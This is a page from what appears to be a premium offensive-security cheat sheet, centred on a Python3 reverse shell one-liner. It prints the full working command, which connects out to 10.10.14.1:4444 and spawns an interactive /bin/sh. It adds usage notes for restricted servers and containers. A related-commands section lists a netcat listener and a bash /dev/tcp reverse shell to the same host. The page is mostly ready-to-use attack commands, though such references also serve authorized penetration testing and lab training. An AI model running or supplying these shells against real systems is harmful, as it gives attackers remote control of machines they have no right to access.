Offensive
Intermediate
Premium
Python3 reverse shell one-liner for targets with Python installed
Python3 reverse shell one-liner for targets with Python installed
Netcat / Reverse Shells
Premium content locked
You can preview the command metadata. Full explanation, examples, and lab-style details are available to premium subscribers.
View premium optionsCommand
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
Syntax
python3 -c '<reverse_shell_code>'
Use case
Environments where bash is restricted but Python is available — common in web application servers, Docker containers, and misconfigured crons.
Explanation
Python reverse shell using socket module: • Creates a TCP socket and connects to attacker • Duplicates file descriptors for stdin/stdout/stderr • Spawns /bin/sh for interactive access • Works even when bash -i fails (restricted environments...
linux
macos
python
reverse-shell
socket
payload
Related
Offensive
Beginner
Premium
Start a Netcat listener to receive an incoming reverse shell connection
Start a Netcat listener to receive an incoming reverse shell connection
nc -lvnp 4444
netcat
nc
listener
reverse-shell
post-exploitation
Netcat / Reverse Shells
Open
Offensive
Beginner
Premium
Bash TCP reverse shell one-liner — executes on the target to connect back
Bash TCP reverse shell one-liner — executes on the target to connect back
r'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'
bash
reverse-shell
rce
tcp
payload
Netcat / Reverse Shells
Open